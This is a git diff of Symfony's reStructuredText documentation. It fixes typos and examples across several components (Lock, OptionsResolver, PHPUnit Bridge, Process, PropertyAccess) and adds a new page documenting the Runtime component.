+``getRemainingLifetime()`` (which returns ``null`` or a ``float``
+as seconds) and ``isExpired()`` (which returns a boolean).
+
+Automatically Releasing The Lock
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Lock are automatically released when their Lock objects are destructed. This is
+an implementation detail that will be important when sharing Locks between
+processes. In the example below, ``pcntl_fork()`` creates two processes and the
+Lock will be released automatically as soon as one process finishes::
+
+    // ...
+    $lock = $factory->createLock('report-generation', 3600);
+    if (!$lock->acquire()) {
+        return;
+    }
+
+    $pid = pcntl_fork();
+    if (-1 === $pid) {
+        // Could not fork
+        exit(1);
+    } elseif ($pid) {
+        // Parent process
+        sleep(30);
+    } else {
+        // Child process
+        echo 'The lock will be released now.';
+        exit(0);
+    }
+    // ...
+
+To disable this behavior, set to ``false`` the third argument of
+``LockFactory::createLock()``. That will make the lock acquired for 3600 seconds
+or until ``Lock::release()`` is called.
 
 Shared Locks
 ------------
@@ -324,7 +357,7 @@ Store                                         Scope   Blocking  Expiring Sharing
 :ref:`MemcachedStore <lock-store-memcached>`  remote  no        yes      no
 :ref:`MongoDbStore <lock-store-mongodb>`      remote  no        yes      no
 :ref:`PdoStore <lock-store-pdo>`              remote  no        yes      no
-:ref:`PostgreSqlStore <lock-store-pgsql>`     remote  yes       yes      yes
+:ref:`PostgreSqlStore <lock-store-pgsql>`     remote  yes       no       yes
 :ref:`RedisStore <lock-store-redis>`          remote  no        yes      yes
 :ref:`SemaphoreStore <lock-store-semaphore>`  local   yes       no       no
 :ref:`ZookeeperStore <lock-store-zookeeper>`  remote  no        no       no
@@ -465,7 +498,8 @@ PostgreSqlStore
 
 The PostgreSqlStore uses `Advisory Locks`_ provided by PostgreSQL. It requires a
 `PDO`_ connection, a `Doctrine DBAL Connection`_, or a
-`Data Source Name (DSN)`_. It supports native blocking, as well as sharing locks.
+`Data Source Name (DSN)`_. It supports native blocking, as well as sharing
+locks::
 
     use Symfony\Component\Lock\Store\PostgreSqlStore;
 
@@ -570,7 +604,7 @@ PHP process is terminated::
 Reliability
 -----------
 
-The component guarantees that the same resource can't be lock twice as long as
+The component guarantees that the same resource can't be locked twice as long as
 the component is used in the following way.
 
 Remote Stores
@@ -584,12 +618,7 @@ Remote stores (:ref:`MemcachedStore <lock-store-memcached>`,
 :ref:`ZookeeperStore <lock-store-zookeeper>`) use a unique token to recognize
 the true owner of the lock. This token is stored in the
 :class:`Symfony\\Component\\Lock\\Key` object and is used internally by
-the ``Lock``, therefore this key must not be shared between processes (session,
-caching, fork, ...).
-
-.. caution::
-
-    Do not share a key between processes.
+the ``Lock``.
 
 Every concurrent process must store the ``Lock`` in the same server. Otherwise two
 different machines may allow two different processes to acquire the same ``Lock``.
@@ -739,7 +768,7 @@ Such an index can be created manually:
 
 .. code-block:: javascript
 
-    db.lock.ensureIndex(
+    db.lock.createIndex(
         { "expires_at": 1 },
         { "expireAfterSeconds": 0 }
     )
@@ -761,9 +790,10 @@ about `Expire Data from Collections by Setting TTL`_ in MongoDB.
     locks don't expire prematurely; the lock TTL should be set with enough extra
     time in ``expireAfterSeconds`` to account for any clock drift between nodes.
 
-``writeConcern``, ``readConcern`` and ``readPreference`` are not specified by
-MongoDbStore meaning the collection's settings will take effect. Read more
-about `Replica Set Read and Write Semantics`_ in MongoDB.
+``writeConcern`` and ``readConcern`` are not specified by MongoDbStore meaning
+the collection's settings will take effect.
+``readPreference`` is ``primary`` for all queries.
+Read more about `Replica Set Read and Write Semantics`_ in MongoDB.
 
 PdoStore
 ~~~~~~~~~~
@@ -862,7 +892,7 @@ can be two running containers in parallel.
 .. caution::
 
     All concurrent processes must use the same machine. Before starting a
-    concurrent process on a new machine, check that other process are stopped
+    concurrent process on a new machine, check that other processes are stopped
     on the old one.
 
 .. caution::
diff --git a/components/messenger.rst b/components/messenger.rst
index 7d03b9488e3..7e1af990db1 100644
--- a/components/messenger.rst
+++ b/components/messenger.rst
@@ -56,7 +56,7 @@ Concepts
    which means they can tweak the envelope, by adding stamps to it or even
    replacing it, as well as interrupt the middleware chain. Middleware are called
    both when a message is originally dispatched and again later when a message
-   is received from a transport,
+   is received from a transport.
 
 **Envelope**:
    Messenger specific concept, it gives full flexibility inside the message bus,
diff --git a/components/mime.rst b/components/mime.rst
index 0ceb3007bc5..e3a2e2e456a 100644
--- a/components/mime.rst
+++ b/components/mime.rst
@@ -238,10 +238,10 @@ MIME types and file name extensions::
     $exts = $mimeTypes->getExtensions('image/jpeg');
     // $exts = ['jpeg', 'jpg', 'jpe']
 
-    $mimeTypes = $mimeTypes->getMimeTypes('js');
-    // $mimeTypes = ['application/javascript', 'application/x-javascript', 'text/javascript']
-    $mimeTypes = $mimeTypes->getMimeTypes('apk');
-    // $mimeTypes = ['application/vnd.android.package-archive']
+    $types = $mimeTypes->getMimeTypes('js');
+    // $types = ['application/javascript', 'application/x-javascript', 'text/javascript']
+    $types = $mimeTypes->getMimeTypes('apk');
+    // $types = ['application/vnd.android.package-archive']
 
 These methods return arrays with one or more elements. The element position
 indicates its priority, so the first returned extension is the preferred one.
diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index 941d61de6c7..85f6c17a695 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -335,6 +335,8 @@ is thrown::
 In sub-classes, you can use :method:`Symfony\\Component\\OptionsResolver\\OptionsResolver::addAllowedTypes`
 to add additional allowed types without erasing the ones already set.
 
+.. _optionsresolver-validate-value:
+
 Value Validation
 ~~~~~~~~~~~~~~~~
 
@@ -376,6 +378,21 @@ returns ``true`` for acceptable values and ``false`` for invalid values::
         // return true or false
     });
 
+.. tip::
+
+    You can even use the :doc:`Validator </validation>` component to validate the
+    input by using the :method:`Symfony\\Component\\Validator\\Validation::createIsValidCallable`
+    method::
+
+        use Symfony\Component\OptionsResolver\OptionsResolver;
+        use Symfony\Component\Validator\Constraints\Length;
+        use Symfony\Component\Validator\Validation;
+
+        // ...
+        $resolver->setAllowedValues('transport', Validation::createIsValidCallable(
+            new Length(['min' => 10 ])
+        ));
+
 In sub-classes, you can use :method:`Symfony\\Component\\OptionsResolver\\OptionsResolver::addAllowedValues`
 to add additional allowed values without erasing the ones already set.
 
@@ -507,7 +524,7 @@ the closure::
 
             $resolver->setDefault('host', function (Options $options, $previousValue) {
                 if ('ssl' === $options['encryption']) {
-                    return 'secure.example.org'
+                    return 'secure.example.org';
                 }
 
                 // Take default value configured in the base class
@@ -717,6 +734,55 @@ In same way, parent options can access to the nested options as normal arrays::
     The fact that an option is defined as nested means that you must pass
     an array of values to resolve it at runtime.
 
+Prototype Options
+~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 5.3
+
+    Prototype options were introduced in Symfony 5.3.
+
+There are situations where you will have to resolve and validate a set of
+options that may repeat many times within another option. Let's imagine a
+``connections`` option that will accept an array of database connections
+with ``host``, ``database``, ``user`` and ``password`` each.
+
+The best way to implement this is to define the ``connections`` option as prototype::
+
+    $resolver->setDefault('connections', function (OptionsResolver $connResolver) {
+        $connResolver
+            ->setPrototype(true)
+            ->setRequired(['host', 'database'])
+            ->setDefaults(['user' => 'root', 'password' => null]);
+    });
+
+According to the prototype definition in the example above, it is possible
+to have multiple connection arrays like the following::
+
+    $resolver->resolve([
+        'connections' => [
+            'default' => [
+                'host' => '127.0.0.1',
+                'database' => 'symfony',
+            ],
+            'test' => [
+                'host' => '127.0.0.1',
+                'database' => 'symfony_test',
+                'user' => 'test',
+                'password' => 'test',
+            ],
+            // ...
+        ],
+    ]);
+
+The array keys (``default``, ``test``, etc.) of this prototype option are
+validation-free and can be any arbitrary value that helps differentiate the
+connections.
+
+.. note::
+
+    A prototype option can only be defined inside a nested option and
+    during its resolution it will expect an array of arrays.
+
 Deprecating the Option
 ~~~~~~~~~~~~~~~~~~~~~~
 
@@ -817,7 +883,7 @@ method::
             $resolver->define('transport')
                 ->required()
                 ->default('transport')
-                ->allowedValues(['sendmail', 'mail', 'smtp']);
+                ->allowedValues('sendmail', 'mail', 'smtp');
         }
     }
 
diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index fea473f1229..01197d23411 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -222,10 +222,10 @@ message contains the ``"foobar"`` string.
 Making Tests Fail
 ~~~~~~~~~~~~~~~~~
 
-By default, any non-legacy-tagged or any non-`@-silenced <@-silencing operator>`_
+By default, any non-legacy-tagged or any non-silenced (`@-silencing operator`_)
 deprecation notices will make tests fail. Alternatively, you can configure
 an arbitrary threshold by setting ``SYMFONY_DEPRECATIONS_HELPER`` to
-``max[total]=320`` for instance. It will make the tests fails only if a
+``max[total]=320`` for instance. It will make the tests fail only if a
 higher number of deprecation notices is reached (``0`` is the default
 value).
 
@@ -289,6 +289,35 @@ Here is a summary that should help you pick the right configuration:
 |                        | cannot afford to use one of the modes above.        |
 +------------------------+-----------------------------------------------------+
 
+Baseline Deprecations
+.....................
+
+If your application has some deprecations that you can't fix for some reasons,
+you can tell Symfony to ignore them. The trick is to create a file with the
+allowed deprecations and define it as the "deprecation baseline". Deprecations
+inside that file are ignore but the rest of deprecations are still reported.
+
+First, generate the file with the allowed deprecations (run the same command
+whenever you want to update the existing file):
+
+.. code-block:: terminal
+
+    $ SYMFONY_DEPRECATIONS_HELPER='generateBaseline=true&baselineFile=./tests/allowed.json' ./vendor/bin/simple-phpunit
+
+This command stores all the deprecations reported while running tests in the
+given file path and encoded in JSON.
+
+Then, you can run the following command to use that file and ignore those deprecations:
+
+.. code-block:: terminal
+
+    $ SYMFONY_DEPRECATIONS_HELPER='baselineFile=./tests/allowed.json' ./vendor/bin/simple-phpunit
+
+.. versionadded:: 5.2
+
+    The ``baselineFile`` and ``generateBaseline`` options were introduced in
+    Symfony 5.2.
+
 Disabling the Verbose Output
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -350,6 +379,16 @@ the compiling and warming up of the container:
 
     The ``--deprecations`` option was introduced in Symfony 5.1.
 
+Log Deprecations
+~~~~~~~~~~~~~~~~
+
+For turning the verbose output off and write it to a log file instead you can use
+``SYMFONY_DEPRECATIONS_HELPER='logFile=/path/deprecations.log'``.
+
+.. versionadded:: 5.3
+
+    The ``logFile`` option was introduced in Symfony 5.3.
+
 Write Assertions about Deprecations
 -----------------------------------
 
@@ -809,10 +848,16 @@ namespaces in the ``phpunit.xml`` file, as done for example in the
 
 Under the hood, a PHPUnit listener injects the mocked functions in the tested
 classes' namespace. In order to work as expected, the listener has to run before
-the tested class ever runs. By default, the mocked functions are created when the
-annotation are found and the corresponding tests are run. Depending on how your
-tests are constructed, this might be too late. In this case, you will need to declare
-the namespaces of the tested classes in your ``phpunit.xml.dist``.
+the tested class ever runs.
+
+By default, the mocked functions are created when the annotation are found and
+the corresponding tests are run. Depending on how your tests are constructed,
+this might be too late.
+
+You can either:
+
+* Declare the namespaces of the tested classes in your ``phpunit.xml.dist``;
+* Register the namespaces at the end of the ``config/bootstrap.php`` file.
 
 .. code-block:: xml
 
@@ -828,6 +873,16 @@ the namespaces of the tested classes in your ``phpunit.xml.dist``.
             </listener>
     </listeners>
 
+::
+
+    // config/bootstrap.php
+    use Symfony\Bridge\PhpUnit\ClockMock;
+    
+    // ...
+    if ('test' === $_SERVER['APP_ENV']) {
+        ClockMock::register('Acme\\MyClassTest\\');
+    }
+
 Modified PHPUnit script
 -----------------------
 
@@ -891,6 +946,18 @@ If you have installed the bridge through Composer, you can run it by calling e.g
     then set the ``SYMFONY_PHPUNIT_REMOVE`` env var to ``symfony/yaml``.
 
     It's also possible to set this env var in the ``phpunit.xml.dist`` file.
+    
+.. tip::
+
+    It is also possible to require additional packages that will be installed along
+    the rest of the needed PHPUnit packages using the ``SYMFONY_PHPUNIT_REQUIRE``
+    env variable. This is specially useful for installing PHPUnit plugins without
+    having to add them to your main ``composer.json`` file.
+
+.. versionadded:: 5.3
+
+    The ``SYMFONY_PHPUNIT_REQUIRE`` env variable was introduced in
+    Symfony 5.3.
 
 Code Coverage Listener
 ----------------------
diff --git a/components/process.rst b/components/process.rst
index f89935036f1..1182b1c32a1 100644
--- a/components/process.rst
+++ b/components/process.rst
@@ -358,6 +358,35 @@ The input of a process can also be defined using `PHP streams`_::
     // will echo: 'foobar'
     echo $process->getOutput();
 
+Using TTY and PTY Modes
+-----------------------
+
+All examples above show that your program has control over the input of a
+process (using ``setInput()``) and the output from that process (using
+``getOutput()``). The Process component has two special modes that tweak
+the relationship between your program and the process: teletype (tty) and
+pseudo-teletype (pty).
+
+In TTY mode, you connect the input and output of the process to the input
+and output of your program. This allows for instance to open an editor like
+Vim or Nano as a process. You enable TTY mode by calling
+:method:`Symfony\\Component\\Process\\Process::setTty`::
+
+    $process = new Process(['vim']);
+    $process->setTty(true);
+    $process->run();
+
+    // As the output is connected to the terminal, it is no longer possible
+    // to read or modify the output from the process!
+    dump($process->getOutput()); // null
+
+In PTY mode, your program behaves as a terminal for the process instead of
+a plain input and output. Some programs behave differently when
+interacting with a real terminal instead of another program. For instance,
+some programs prompt for a password when talking with a terminal. Use
+:method:`Symfony\\Component\\Process\\Process::setPty` to enable this
+mode.
+
 Stopping a Process
 ------------------
 
@@ -389,22 +418,6 @@ instead::
     );
     $process->run();
 
-Using a Prepared Command Line
------------------------------
-
-You can run a process by using a prepared command line with double quote
-variable notation. This allows you to use placeholders so that only the
-parameterized values can be changed, but not the rest of the script::
-
-    use Symfony\Component\Process\Process;
-
-    $process = Process::fromShellCommandline('echo "$name"');
-    $process->run(null, ['name' => 'Elsa']);
-
-.. caution::
-
-    A prepared command line will not be escaped automatically!
-
 Process Timeout
 ---------------
 
@@ -513,10 +526,31 @@ Use :method:`Symfony\\Component\\Process\\Process::disableOutput` and
     However, it is possible to pass a callback to the ``start``, ``run`` or ``mustRun``
     methods to handle process output in a streaming fashion.
 
+Finding an Executable
+---------------------
+
+The Process component provides a utility class called
+:class:`Symfony\\Component\\Process\\ExecutableFinder` which finds
+and returns the absolute path of an executable::
+
+    use Symfony\Component\Process\ExecutableFinder;
+
+    $executableFinder = new ExecutableFinder();
+    $chromedriverPath = $executableFinder->find('chromedriver');
+    // $chromedriverPath = '/usr/local/bin/chromedriver' (the result will be different on your computer)
+
+The :method:`Symfony\\Component\\Process\\ExecutableFinder::find` method also takes extra parameters to specify a default value
+to return and extra directories where to look for the executable::
+
+    use Symfony\Component\Process\ExecutableFinder;
+
+    $executableFinder = new ExecutableFinder();
+    $chromedriverPath = $executableFinder->find('chromedriver', '/path/to/chromedriver', ['local-bin/']);
+
 Finding the Executable PHP Binary
 ---------------------------------
 
-This component also provides a utility class called
+This component also provides a special utility class called
 :class:`Symfony\\Component\\Process\\PhpExecutableFinder` which returns the
 absolute path of the executable PHP binary available on your server::
 
diff --git a/components/property_access.rst b/components/property_access.rst
index c99091c4e15..00c81f8eb7e 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -72,7 +72,7 @@ You can also use multi dimensional arrays::
         ],
         [
             'first_name' => 'Ryan',
-        ]
+        ],
     ];
 
     var_dump($propertyAccessor->getValue($persons, '[0][first_name]')); // 'Wouter'
@@ -225,7 +225,7 @@ The ``getValue()`` method can also use the magic ``__get()`` method::
 Magic ``__call()`` Method
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
-At last, ``getValue()`` can use the magic ``__call()`` method, but you need to
+Lastly, ``getValue()`` can use the magic ``__call()`` method, but you need to
 enable this feature by using :class:`Symfony\\Component\\PropertyAccess\\PropertyAccessorBuilder`::
 
     // ...
@@ -239,9 +239,7 @@ enable this feature by using :class:`Symfony\\Component\\PropertyAccess\\Propert
         {
             $property = lcfirst(substr($name, 3));
             if ('get' === substr($name, 0, 3)) {
-                return isset($this->children[$property])
-                    ? $this->children[$property]
-                    : null;
+                return $this->children[$property] ?? null;
             } elseif ('set' === substr($name, 0, 3)) {
                 $value = 1 == count($args) ? $args[0] : null;
                 $this->children[$property] = $value;
@@ -338,9 +336,7 @@ see `Enable other Features`_::
         {
             $property = lcfirst(substr($name, 3));
             if ('get' === substr($name, 0, 3)) {
-                return isset($this->children[$property])
-                    ? $this->children[$property]
-                    : null;
+                return $this->children[$property] ?? null;
             } elseif ('set' === substr($name, 0, 3)) {
                 $value = 1 == count($args) ? $args[0] : null;
                 $this->children[$property] = $value;
@@ -408,6 +404,45 @@ and ``removeChild()`` methods to access to the ``children`` property.
 
 If available, *adder* and *remover* methods have priority over a *setter* method.
 
+Using non-standard adder/remover methods
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Sometimes, adder and remover methods don't use the standard ``add`` or ``remove`` prefix, like in this example::
+
+    // ...
+    class PeopleList
+    {
+        // ...
+
+        public function joinPeople(string $people): void
+        {
+            $this->peoples[] = $people;
+        }
+
+        public function leavePeople(string $people): void
+        {
+            foreach ($this->peoples as $id => $item) {
+                if ($people === $item) {
+                    unset($this->peoples[$id]);
+                    break;
+                }
+            }
+        }
+    }
+
+    use Symfony\Component\PropertyInfo\Extractor\ReflectionExtractor;
+    use Symfony\Component\PropertyAccess\PropertyAccessor;
+
+    $list = new PeopleList();
+    $reflectionExtractor = new ReflectionExtractor(null, null, ['join', 'leave']);
+    $propertyAccessor = new PropertyAccessor(PropertyAccessor::DISALLOW_MAGIC_METHODS, PropertyAccessor::THROW_ON_INVALID_PROPERTY_PATH, null, $reflectionExtractor, $reflectionExtractor);
+    $propertyAccessor->setValue($person, 'peoples', ['kevin', 'wouter']);
+
+    var_dump($person->getPeoples()); // ['kevin', 'wouter']
+
+Instead of calling ``add<SingularOfThePropertyName>()`` and ``remove<SingularOfThePropertyName>()``, the PropertyAccess
+component will call ``join<SingularOfThePropertyName>()`` and ``leave<SingularOfThePropertyName>()`` methods.
+
 Checking Property Paths
 -----------------------
 
@@ -480,10 +515,10 @@ configured to enable extra features. To do that you could use the
     $propertyAccessorBuilder->enableMagicSet(); // enables magic __set
     $propertyAccessorBuilder->enableMagicMethods(); // enables magic __get, __set and __call
 
-    $propertyAccessorBuilder->disableMagicCall(); // enables magic __call
-    $propertyAccessorBuilder->disableMagicGet(); // enables magic __get
-    $propertyAccessorBuilder->disableMagicSet(); // enables magic __set
-    $propertyAccessorBuilder->disableMagicMethods(); // enables magic __get, __set and __call
+    $propertyAccessorBuilder->disableMagicCall(); // disables magic __call
+    $propertyAccessorBuilder->disableMagicGet(); // disables magic __get
+    $propertyAccessorBuilder->disableMagicSet(); // disables magic __set
+    $propertyAccessorBuilder->disableMagicMethods(); // disables magic __get, __set and __call
 
     // checks if magic __call, __get or __set handling are enabled
     $propertyAccessorBuilder->isMagicCallEnabled(); // true or false
diff --git a/components/runtime.rst b/components/runtime.rst
new file mode 100644
index 00000000000..b382c817c61
--- /dev/null
+++ b/components/runtime.rst
@@ -0,0 +1,500 @@
+.. index::
+   single: Runtime
+   single: Components; Runtime
+
+The Runtime Component
+======================
+
+    The Runtime Component decouples the bootstrapping logic from any global state
+    to make sure the application can run with runtimes like PHP-FPM, ReactPHP,
+    Swoole, etc. without any changes.
+
+.. versionadded:: 5.3
+
+    The Runtime component was introduced in Symfony 5.3.
+
+Installation
+------------
+
+.. code-block:: terminal
+
+    $ composer require symfony/runtime
+
+.. include:: /components/require_autoload.rst.inc
+
+Usage
+-----
+
+The Runtime component abstracts most bootstrapping logic as so-called
+*runtimes*, allowing you to write front-controllers in a generic way.
+For instance, the Runtime component allows Symfony's ``public/index.php``
+to look like this::
+
+    <?php
+    // public/index.php
+    use App\Kernel;
+
+    require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
+
+    return function (array $context) {
+        return new Kernel($context['APP_ENV'], (bool) $context['APP_DEBUG']);
+    };
+
+So how does this front-controller work? At first, the special
+``autoload_runtime.php`` file is automatically created by the Composer plugin in
+the component. This file runs the following logic:
+
+#. It instantiates a :class:`Symfony\\Component\\Runtime\\RuntimeInterface`;
+#. The callable (returned by ``public/index.php``) is passed to the Runtime, whose job
+   is to resolve the arguments (in this example: ``array $context``);
+#. Then, this callable is called to get the application (``App\Kernel``);
+#. At last, the Runtime is used to run the application (i.e. calling
+   ``$kernel->handle(Request::createFromGlobals())->send()``).
+
+.. caution::
+
+    If you use the Composer ``--no-scripts`` option, make sure your Composer version
+    is ``>=2.1.3``; otherwise the ``autoload_runtime.php`` file won't be created.
+
+To make a console application, the bootstrap code would look like::
+
+    #!/usr/bin/env php
+    <?php
+    // bin/console
+
+    use App\Kernel;
+    use Symfony\Bundle\FrameworkBundle\Console\Application;
+
+    require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
+
+    return function (array $context) {
+        $kernel = new Kernel($context['APP_ENV'], (bool) $context['APP_DEBUG']);
+
+        // returning an "Application" makes the Runtime run a Console
+        // application instead of the HTTP Kernel
+        return new Application($kernel);
+    };
+
+Selecting Runtimes
+------------------
+
+The default Runtime is :class:`Symfony\\Component\\Runtime\\SymfonyRuntime`. It
+works excellent on most applications running with a webserver using PHP-FPM like
+Nginx or Apache.
+
+The component also provides a :class:`Symfony\\Component\\Runtime\\GenericRuntime`,
+which uses PHP's ``$_SERVER``, ``$_POST``, ``$_GET``, ``$_FILES`` and
+``$_SESSION`` superglobals. You may also use a custom Runtime (e.g. to
+integrate with Swoole or AWS Lambda).
+
+Use the ``APP_RUNTIME`` environment variable or by specifying the
+``extra.runtime.class`` in ``composer.json`` to change the Runtime class:
+
+.. code-block:: json
+
+    {
+        "require": {
+            "...": "..."
+        },
+        "extra": {
+            "runtime": {
+                "class": "Symfony\\Component\\Runtime\\GenericRuntime"
+            }
+        }
+    }
+
+Using the Runtime
+-----------------
+
+A Runtime is responsible for passing arguments into the closure and run the
+application returned by the closure. The :class:`Symfony\\Component\\Runtime\\SymfonyRuntime` and
+:class:`Symfony\\Component\\Runtime\\GenericRuntime` supports a number of
+arguments and different applications that you can use in your
+front-controllers.
+
+Resolvable Arguments
+~~~~~~~~~~~~~~~~~~~~
+
+The closure returned from the front-controller may have zero or more arguments::
+
+    <?php
+    // public/index.php
+    use Symfony\Component\Console\Input\InputInterface;
+    use Symfony\Component\Console\Output\OutputInterface;
+
+    require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
+
+    return function (InputInterface $input, OutputInterface $output) {
+        // ...
+    };
+
+The following arguments are supported by the ``SymfonyRuntime``:
+
+:class:`Symfony\\Component\\HttpFoundation\\Request`
+    A request created from globals.
+
+:class:`Symfony\\Component\\Console\\Input\\InputInterface`
+    An input to read options and arguments.
+
+:class:`Symfony\\Component\\Console\\Output\\OutputInterface`
+    Console output to print to the CLI with style.
+
+:class:`Symfony\\Component\\Console\\Application`
+    An application for creating CLI applications.
+
+:class:`Symfony\\Component\\Command\\Command`
+    For creating one line command CLI applications (using
+    ``Command::setCode()``).
+
+And these arguments are supported by both the ``SymfonyRuntime`` and
+``GenericRuntime`` (both type and variable name are important):
+
+``array $context``
+    This is the same as ``$_SERVER`` + ``$_ENV``.
+
+``array $argv``
+    The arguments passed to the command (same as ``$_SERVER['argv']``).
+
+``array $request``
+    With keys ``query``, ``body``, ``files`` and ``session``.
+
+Resolvable Applications
+~~~~~~~~~~~~~~~~~~~~~~~
+
+The application returned by the closure below is a Symfony Kernel. However,
+a number of different applications are supported::
+
+    <?php
+    // public/index.php
+    use App\Kernel;
+
+    require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
+
+    return function () {
+        return new Kernel('prod', false);
+    };
+
+The ``SymfonyRuntime`` can handle these applications:
+
+:class:`Symfony\\Component\\HttpKernel\\HttpKernelInterface`
+    The application will be run with :class:`Symfony\\Component\\Runtime\\Runner\\Symfony\\HttpKernelRunner`
+    like a "standard" Symfony application.
+
+:class:`Symfony\\Component\\HttpFoundation\\Response`
+    The Response will be printed by
+    :class:`Symfony\\Component\\Runtime\\Runner\\Symfony\\ResponseRunner`::
+
+        <?php
+        // public/index.php
+        use Symfony\Component\HttpFoundation\Response;
+
+        require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
+
+        return function () {
+            return new Response('Hello world');
+        };
+
+:class:`Symfony\\Component\\Console\\Command\\Command`
+    To write single command applications. This will use the
+    :class:`Symfony\\Component\\Runtime\\Runner\\Symfony\\ConsoleApplicationRunner`::
+
+        <?php
+
+        use Symfony\Component\Console\Command\Command;
+        use Symfony\Component\Console\Input\InputInterface;
+        use Symfony\Component\Console\Output\OutputInterface;
+
+        require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
+
+        return function (Command $command) {
+            $command->setCode(function (InputInterface $input, OutputInterface $output) {
+                $output->write('Hello World');
+            });
+
+            return $command;
+        };
+
+:class:`Symfony\\Component\\Console\\Application`
+    Useful with console applications with more than one command. This will use the
+    :class:`Symfony\\Component\\Runtime\\Runner\\Symfony\\ConsoleApplicationRunner`::
+
+        <?php
+
+        use Symfony\Component\Console\Application;
+        use Symfony\Component\Console\Command\Command;
+        use Symfony\Component\Console\Input\InputInterface;
+        use Symfony\Component\Console\Output\OutputInterface;
+
+        require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
+
+        return function (array $context) {
+            $command = new Command('hello');
+            $command->setCode(function (InputInterface $input, OutputInterface $output) {
+                $output->write('Hello World');
+            });
+
+            $app = new Application();
+            $app->add($command);
+            $app->setDefaultCommand('hello', true);
+
+            return $app;
+        };
+
+The ``GenericRuntime`` and ``SymfonyRuntime`` also support these generic
+applications:
+
+:class:`Symfony\\Component\\Runtime\\RunnerInterface`
+    The ``RunnerInterface`` is a way to use a custom application with the
+    generic Runtime::
+
+        <?php
+        // public/index.php
+        use Symfony\Component\Runtime\RunnerInterface;
+
+        require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
+
+        return function () {
+            return new class implements RunnerInterface {
+                public function run(): int
+                {
+                    echo 'Hello World';
+
+                    return 0;
+                }
+            };
+        };
+
+``callable``
+    Your "application" can also be a ``callable``. The first callable will return
+    the "application" and the second callable is the "application" itself::
+
+        <?php
+        // public/index.php
+
+        require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
+
+        return function () {
+            $app = function() {
+                echo 'Hello World';
+
+                return 0;
+            };
+
+            return $app;
+        };
+
+``void``
+    If the callable doesn't return anything, the ``SymfonyRuntime`` will assume
+    everything is fine::
+
+        <?php
+
+        require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
+
+        return function () {
+            echo 'Hello world';
+        };
+
+Using Options
+~~~~~~~~~~~~~
+
+Some behavior of the Runtimes can be modified through runtime options. They
+can be set using the ``APP_RUNTIME_OPTIONS`` environment variable::
+
+    <?php
+
+    $_SERVER['APP_RUNTIME_OPTIONS'] = [
+        'project_dir' => '/var/task',
+    ];
+
+    require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
+
+    // ...
+
+You can also configure ``extra.runtime.options`` in ``composer.json``:
+
+.. code-block:: json
+
+    {
+        "require": {
+            "...": "..."
+        },
+        "extra": {
+            "runtime": {
+                "project_dir": "/var/task"
+            }
+        }
+    }
+
+The following options are supported by the ``SymfonyRuntime``:
+
+``env`` (default: ``APP_ENV`` environment variable, or ``"dev"``)
+    To define the name of the environment the app runs in.
+``disable_dotenv`` (default: ``false``)
+    To disable looking for ``.env`` files.
+``dotenv_path`` (default: ``.env``)
+    To define the path of dot-env files.
+``use_putenv``
+    To tell Dotenv to set env vars using ``putenv()`` (NOT RECOMMENDED).
+``prod_envs`` (default: ``["prod"]``)
+    To define the names of the production envs.
+``test_envs`` (default: ``["test"]``)
+    To define the names of the test envs.
+
+Besides these, the ``GenericRuntime`` and ``SymfonyRuntime`` also support
+these options:
+
+``debug`` (default: the value of the env var defined by ``debug_var_name`` option
+    (usually, ``APP_DEBUG``), or ``true`` if such env var is not defined)
+    Toggles the :ref:`debug mode <debug-mode>` of Symfony applications (e.g. to
+    display errors)
+``runtimes``
+    Maps "application types" to a ``GenericRuntime`` implementation that
+    knows how to deal with each of them.
+``error_handler`` (default: :class:`Symfony\\Component\\Runtime\\Internal\\BasicErrorHandler` or :class:`Symfony\\Component\\Runtime\\Internal\\SymfonyErrorHandler` for ``SymfonyRuntime``)
+    Defines the class to use to handle PHP errors.
+``env_var_name`` (default: ``"APP_ENV"``)
+    Defines the name of the env var that stores the name of the
+    :ref:`configuration environment <configuration-environments>`
+    to use when running the application.
+``debug_var_name`` (default: ``"APP_DEBUG"``)
+    Defines the name of the env var that stores the value of the
+    :ref:`debug mode <debug-mode>` flag to use when running the application.
+
+.. versionadded:: 5.4
+
+    The ``env_var_name`` and ``debug_var_name`` options were introduced in Symfony 5.4.
+
+Create Your Own Runtime
+-----------------------
+
+This is an advanced topic that describes the internals of the Runtime component.
+
+Using the Runtime component will benefit maintainers because the bootstrap
+logic could be versioned as a part of a normal package. If the application
+author decides to use this component, the package maintainer of the Runtime
+class will have more control and can fix bugs and add features.
+
+.. note::
+
+    Before Symfony 5.3, the Symfony bootstrap logic was part of a Flex recipe.
+    Since recipes are rarely updated by users, bug patches would rarely be
+    installed.
+
+The Runtime component is designed to be totally generic and able to run any
+application outside of the global state in 6 steps:
+
+#. The main entry point returns a *callable* (the "app") that wraps the application;
+#. The *app callable* is passed to ``RuntimeInterface::getResolver()``, which returns
+   a :class:`Symfony\\Component\\Runtime\\ResolverInterface`. This resolver returns
+   an array with the app callable (or something that decorates this callable) at
+   index 0 and all its resolved arguments at index 1.
+#. The *app callable* is invoked with its arguments, it will return an object that
+   represents the application.
+#. This *application object* is passed to ``RuntimeInterface::getRunner()``, which
+   returns a :class:`Symfony\\Component\\Runtime\\RunnerInterface`: an instance
+   that knows how to "run" the application object.
+#. The ``RunnerInterface::run(object $application)`` is called and it returns the
+   exit status code as `int`.
+#. The PHP engine is exited with this status code.
+
+When creating a new runtime, there are two things to consider: First, what arguments
+will the end user use? Second, what will the user's application look like?
+
